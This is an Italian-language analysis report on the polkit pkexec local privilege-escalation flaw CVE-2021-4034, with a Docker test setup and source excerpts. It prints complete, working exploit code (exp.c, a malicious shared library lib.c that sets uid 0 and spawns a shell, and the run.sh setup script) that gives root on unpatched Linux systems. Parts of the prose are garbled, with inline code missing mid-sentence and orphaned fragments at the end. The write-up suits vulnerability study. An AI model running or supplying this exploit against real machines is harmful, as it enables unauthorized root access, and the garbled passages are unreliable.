
CVE-2021-4034 POC, Docker e report di analisi
[toc]
ID vulnerabilità: CVE-2021-4034
Punteggio vulnerabilità:
Prodotto vulnerabile: linux PolKit (pkexec)
Versione interessata: versioni dal 2009 a oggi (attuale 0.105) riferimento http://its.dlut.edu.cn/info/1054/78309.htm
Condizioni di sfruttamento: linux locale; pkexec è un file suid con permessi di esecuzione
Ottenere il sorgente: apt source policykit-1
oppure https://launchpad.net/ubuntu/bionic/+package/policykit-1
Ambiente docker: chenaotian/cve-2021-4034
Ho creato io stesso questo docker, che fornisce:
pkexec compilato da me e con sorgenti per il debugTutto si trova nella directory /root/:

su test e poi eseguirloAvvio di docker:
docker run -d -ti --rm -h cvedebug --name cvedebug --cap-add=SYS_PTRACE chenaotian/cve-2021-4034:latest /bin/bash
Test dell'exp:
cd ~/exp/CVE-2021-4034/
./run.sh
su test
./exp
whoami
Il prodotto interessato dalla vulnerabilità è il comando pkexec di polkit. pkexec, come sudo, è uno strumento che ci consente di eseguire comandi come un altro utente (di solito root). Con il comando dpkg possiamo vedere a quale pacchetto appartiene pkexec:
dpkg -S /usr/bin/pkexec

Poi si ottiene il pacchetto sorgente (è presente anche nel mio docker), quindi, a partire dal pacchetto sorgente, si compila una versione debuggabile per facilitare il debug.
Il principio che innesca la vulnerabilità è molto semplice
/polkit-0.105/src/programs/pkexec.c : 386 main
int
main (int argc, char *argv[])
{
··· ···
··· ···
/* Questo blocco significa: scorre in ciclo i parametri inseriti dall'utente e imposta i valori in base ai diversi parametri ricevuti.
* Ma il problema è che il ciclo parte da 1 e non considera il caso in cui l'utente non abbia inserito alcun parametro.
*/
for (n = 1; n < (guint) argc; n++)
{
if (strcmp (argv[n], "--help") == 0)
{
opt_show_help = TRUE;
}
··· ···
else //se è un parametro non riconosciuto esce dal ciclo; questo significa che quel parametro è il comando che si vuole eseguire
{
break;
}
}
··· ···
g_assert (argv[argc] == NULL);
path = g_strdup (argv[n]); //ottiene la stringa specifica del comando da eseguire
if (path == NULL)
{
···
}
if (path[0] != '/')
{
/* g_find_program_in_path() non è attaccabile tramite l'ambiente */
//questa funzione cerca il percorso assoluto del comando da eseguire in base alla variabile d'ambiente PATH
s = g_find_program_in_path (path);
if (s == NULL)
{
···
}
g_free (path);
argv[n] = path = s;//riscrive il percorso assoluto ottenuto nel parametro della riga di comando
}
··· ···
··· ···
In base ai commenti che ho aggiunto nel codice, l'analisi è:
for parte da 1, cioè si presuppone che venga fornito almeno un parametro (il comando da eseguire con pkexec)--, lo considera come il comando da eseguire e quindi esce dal ciclo per passare alla logica successiva.g_find_program_in_path per cercare il percorso assoluto del comando. La funzione g_find_program_in_path cerca il percorso assoluto del parametro ricevuto (comando) in base alla variabile d'ambiente PATH. Ad esempio, se riceve cat restituisce /bin/cat.È comunque facile da capire, ma il problema è:
quando un programma binario linux viene eseguito, i parametri della riga di comando argv[] e le variabili d'ambiente environ[] vengono posti in cima allo stack, e argv[] e environ[] sono adiacenti. L'ultimo elemento di argv[] è null.

Se pkexec viene avviato dalla riga di comando senza altri parametri, allora argv[0] è "pkexec" e argv[1] è \x00: nessun problema. Ma se pkexec viene avviato con la funzione execve senza altri parametri, allora è e punta già alle variabili d'ambiente! Quando viene letto , si e si legge .
Allora che effetto produce tutto questo? Quando si avvia con execve senza passare altri parametri, la lunghezza di argv[] è 0, quindi argv[1] corrisponde a environ[0]. In questo modo la logica analizzata sopra diventa: otterrebbe il valore della prima variabile d'ambiente e ne cercherebbe il percorso assoluto nella variabile d'ambiente PATH. Se lo trova, riscrive il valore nella prima variabile d'ambiente. Il metodo di sfruttamento è quindi il seguente:
La prima cosa da chiarire è che pkexec è un file privilegiato (suid):

Come si può usare una variabile d'ambiente per fare qualcosa in un file privilegiato? Per prima cosa, vediamo un piccolo dettaglio:
Il linker dinamico di linux ld-linux-x86-64.so.2, quando viene eseguito un programma privilegiato, elimina le variabili d'ambiente sensibili:
funzione _dl_non_dynamic_init: glibc-2.27/elf/dl-support.c : 307
void
_dl_non_dynamic_init (void)
{
··· ···
··· ···
if (__libc_enable_secure) //nel caso di modalità privilegiata
{
static const char unsecure_envvars[] =
UNSECURE_ENVVARS
#ifdef EXTRA_UNSECURE_ENVVARS
EXTRA_UNSECURE_ENVVARS
#endif
;
const char *cp = unsecure_envvars;
//scorre in ciclo tutte le variabili d'ambiente nella lista delle variabili pericolose e le azzera (unset)
while (cp < unsecure_envvars + sizeof (unsecure_envvars))
{
__unsetenv (cp);
cp = (const char *) __rawmemchr (cp, '\0') + 1;
}
#if !HAVE_TUNABLES
if (__access ("/etc/suid-debug", F_OK) != 0)
__unsetenv ("MALLOC_CHECK_");
#endif
}
··· ···
··· ···
}
La lista delle variabili d'ambiente pericolose UNSECURE_ENVVARS è definita come segue:
glibc-2.27/sysdeps/generic/unsecvars.h : 10
#define GLIBC_TUNABLES_ENVVAR "GLIBC_TUNABLES\0"
#define UNSECURE_ENVVARS \
"GCONV_PATH\0" \
"GETCONF_DIR\0" \
GLIBC_TUNABLES_ENVVAR \
"HOSTALIASES\0" \
"LD_AUDIT\0" \
"LD_DEBUG\0" \
"LD_DEBUG_OUTPUT\0" \
"LD_DYNAMIC_WEAK\0" \
"LD_HWCAP_MASK\0" \
"LD_LIBRARY_PATH\0" \
"LD_ORIGIN_PATH\0" \
"LD_PRELOAD\0" \
"LD_PROFILE\0" \
"LD_SHOW_AUXV\0" \
"LD_USE_LOAD_BIAS\0" \
"LOCALDOMAIN\0" \
"LOCPATH\0" \
"MALLOC_TRACE\0" \
"NIS_PATH\0" \
"NLSPATH\0" \
"RESOLV_HOST_CONF\0" \
"RES_OPTIONS\0" \
"TMPDIR\0" \
"TZDIR\0"
Quando viene rilevato che il programma è un file privilegiato (suid), queste variabili d'ambiente vengono azzerate. Come si può vedere, la maggior parte sono variabili della serie LD_, che hanno tutte la capacità di specificare i percorsi di caricamento delle librerie dinamiche. Questo serve a impedire che utenti con privilegi ridotti usino queste variabili d'ambiente per far caricare a un programma suid delle so non affidabili, causando esecuzione di codice malevolo e quindi escalation dei privilegi.
Nello scenario di questa vulnerabilità, abbiamo la possibilità di scrivere una variabile d'ambiente arbitraria; la nostra idea di sfruttamento è provare a trovare qualcosa tra quelle variabili d'ambiente che normalmente non potrebbero essere passate a un programma suid.
Poiché il poc è già stato pubblicato, guardando direttamente la soluzione è molto semplice; qui ho fatto riferimento al poc di arthepsy. Il contenuto è molto semplice, ma grazie a questo poc si capisce che la variabile d'ambiente chiave per lo sfruttamento è GCONV_PATH. È davvero una delle variabili nella lista di quelle pericolose, anzi è la prima!
Riguardo a GCONV_PATH e alla funzione iconv_open():
La funzione
iconv_open()richiede un descrittore di conversione, per convertire una sequenza di caratteri dalla codificafromcodealla codificatcode; il descrittore di conversione contiene lo stato della conversione. La funzioneiconv_open()prima di tutto trova il filegconv-modulesfornito dal sistema; questo file contiene i percorsi in cui sono memorizzate le informazioni sui vari set di caratteri; le informazioni di ogni set di caratteri sono memorizzate in un file .so. Poi, seguendo le indicazioni del filegconv-modules, collega il file .so corrispondente al parametro per eseguire l'operazione specifica. Se esiste la variabile d'ambienteGCONV_PATH, la funzioneiconv_open()cerca il filegconv-modulesin base aGCONV_PATH; le operazioni successive restano invariate.
In altre parole, qui la variabile d'ambiente GCONV_PATH ha una funzione equivalente a LD_LIBRARY_PATH. Può specificare i file so che la funzione iconv_open() cerca. Se riusciamo a falsificare GCONV_PATH, poi a falsificare gconv-modules e infine a falsificare anche una so, possiamo completare il caricamento arbitrario di una so e l'esecuzione arbitraria di codice.
L'idea generale è la seguente:
creare una directory chiamata GCONV_PATH=.
nella directory GCONV_PATH=., creare un file chiamato pwnkitdir con permesso x
creare una directory chiamata pwnkitdir
nella directory pwnkitdir, creare il file gconv-modules e scriverci il seguente contenuto nel formato previsto:
module UTF-8// PWNKIT// pwnkit 1
nella directory pwnkitdir, inserire la so malevola pwnkit.so contenente il codice per ottenere una shell.
impostare le variabili d'ambiente correlate:
pwnkitdirPATH=GCONV_PATH=., così il percorso composto dalla funzione g_find_program_in_path sarà , che è esattamente il formato di una variabile d'ambiente; inoltre la directory esiste e anche il file esiste.E il gioco è fatto. L'exp specifico è il seguente:
exp.c
#include <stdio.h>
#include <unistd.h>
int main(int argc, char **argv)
{
char * const a_argv [] = { NULL};
char * const a_envp[] = {
"pwnkitdir",
"PATH=GCONV_PATH=.",
"CHARSET=PWNKIT",
"SHELL=xxx",
NULL
};
execve("/usr/local/bin/pkexec", a_argv, a_envp); //nota: modifica il percorso in base alla situazione reale
}
lib.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
static void __attribute__ ((constructor)) exp(void);
static void exp(void)
{
setuid(0); seteuid(0); setgid(0); setegid(0);
static char *a_argv[] = { "sh", NULL };
static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
execve("/bin/sh", a_argv, a_envp);
}
run.sh
mkdir 'GCONV_PATH=.'
touch 'GCONV_PATH=./pwnkitdir'
chmod 777 'GCONV_PATH=./pwnkitdir'
mkdir pwnkitdir
touch pwnkitdir/gconv-modules
echo "module UTF-8// PWNKIT// pwnkit 1" >> pwnkitdir/gconv-modules
gcc -fPIC -shared lib.c -o pwnkitdir/pwnkit.so
gcc exp.c -o exp
Sfruttamento riuscito:

Aggiornare all'ultima versione
Divulgazione della vulnerabilità: https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
poc di arthepsy: https://github.com/arthepsy/CVE-2021-4034
argv[0]\x00argv[1]argv[1]environ[0]Avvio diretto di pkexec dalla riga di comando: argc è 1 e argv[0] è il percorso di pkexec:

Avvio di pkexec con la funzione execve: argc è 0:

GCONV_PATH=./pwnkitdir./pwnkitdirGCONV_PATH=./pwnkitdirCHARSET=PWNKIT, che verrà usata nel percorso che porta a iconv_open, per cercare la so nel file gconv-modulesSHELL=xxx, che verrà usata nel percorso che porta a iconv_openavviare pkexec tramite execve con parametri vuoti e con le variabili d'ambiente impostate sopra